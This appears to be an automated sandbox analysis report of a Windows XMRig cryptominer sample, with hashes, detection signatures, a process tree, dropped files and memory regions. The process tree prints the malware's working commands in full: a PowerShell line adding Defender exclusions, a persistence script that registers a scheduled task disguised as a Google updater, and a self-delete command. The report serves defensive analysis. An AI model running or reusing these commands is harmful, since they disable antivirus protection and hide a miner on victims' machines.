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Analysis

  • max time kernel
    1799s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-10-2024 20:11

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3452
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3408
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1180
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2604
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4424
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3224
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3328
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:884
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3964
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3900
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4648

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d42b6da621e8df5674e26b799c8e2aa

            SHA1

            ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

            SHA256

            5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

            SHA512

            53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            58f473558345c4d2feab48d4999b148a

            SHA1

            a58fec1ddadb3cb692cd1bac3d21d09592ec58ee

            SHA256

            69496654c76a65ba517bb7ee3bacb598a1e778aa7ee7807bf7318087d8d39d22

            SHA512

            f19f50701c05d050fa114e29544e77ce620c4f05619262781eb5a12906f3e4a0219d79ea574e2ace3bdad8c25346f2dad71e9768f64361321e9299061b7b87d0

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_licxgzem.wb5.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/1976-35-0x00007FF78DC80000-0x00007FF78DE91000-memory.dmp

            Filesize

            2.1MB

          • memory/1976-0-0x00007FF78DC80000-0x00007FF78DE91000-memory.dmp

            Filesize

            2.1MB

          • memory/2004-12-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2004-16-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2004-13-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2004-7-0x00000295E9C50000-0x00000295E9C72000-memory.dmp

            Filesize

            136KB

          • memory/2004-1-0x00007FFA7ADE3000-0x00007FFA7ADE5000-memory.dmp

            Filesize

            8KB

          • memory/3224-109-0x00007FF7B4AB0000-0x00007FF7B4AC6000-memory.dmp

            Filesize

            88KB

          • memory/3224-114-0x00007FF7B4AB0000-0x00007FF7B4AC6000-memory.dmp

            Filesize

            88KB

          • memory/3900-107-0x0000022C9FB50000-0x0000022C9FB70000-memory.dmp

            Filesize

            128KB

          • memory/3900-145-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-167-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-165-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-163-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-161-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-159-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-157-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-155-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-153-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-151-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-149-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-147-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-143-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-106-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-141-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-139-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-111-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-110-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-137-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-113-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-135-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-115-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-117-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-119-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-121-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-123-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-125-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-127-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-129-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-131-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/3900-133-0x00007FF622D10000-0x00007FF623504000-memory.dmp

            Filesize

            8.0MB

          • memory/4424-98-0x000002B166CA0000-0x000002B166D55000-memory.dmp

            Filesize

            724KB

          • memory/4648-48-0x00007FF641490000-0x00007FF6416A1000-memory.dmp

            Filesize

            2.1MB

          • memory/4648-108-0x00007FF641490000-0x00007FF6416A1000-memory.dmp

            Filesize

            2.1MB

          • memory/4832-31-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4832-19-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4832-18-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4832-30-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4832-33-0x00007FFA7ADE0000-0x00007FFA7B8A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4928-74-0x000001D0D10F0000-0x000001D0D10F6000-memory.dmp

            Filesize

            24KB

          • memory/4928-75-0x000001D0D1100000-0x000001D0D110A000-memory.dmp

            Filesize

            40KB

          • memory/4928-67-0x000001D0D0E90000-0x000001D0D0EAC000-memory.dmp

            Filesize

            112KB

          • memory/4928-73-0x000001D0D10C0000-0x000001D0D10C8000-memory.dmp

            Filesize

            32KB

          • memory/4928-72-0x000001D0D1110000-0x000001D0D112A000-memory.dmp

            Filesize

            104KB

          • memory/4928-71-0x000001D0D10B0000-0x000001D0D10BA000-memory.dmp

            Filesize

            40KB

          • memory/4928-70-0x000001D0D10D0000-0x000001D0D10EC000-memory.dmp

            Filesize

            112KB

          • memory/4928-69-0x000001D0D0E80000-0x000001D0D0E8A000-memory.dmp

            Filesize

            40KB

          • memory/4928-68-0x000001D0D0EB0000-0x000001D0D0F65000-memory.dmp

            Filesize

            724KB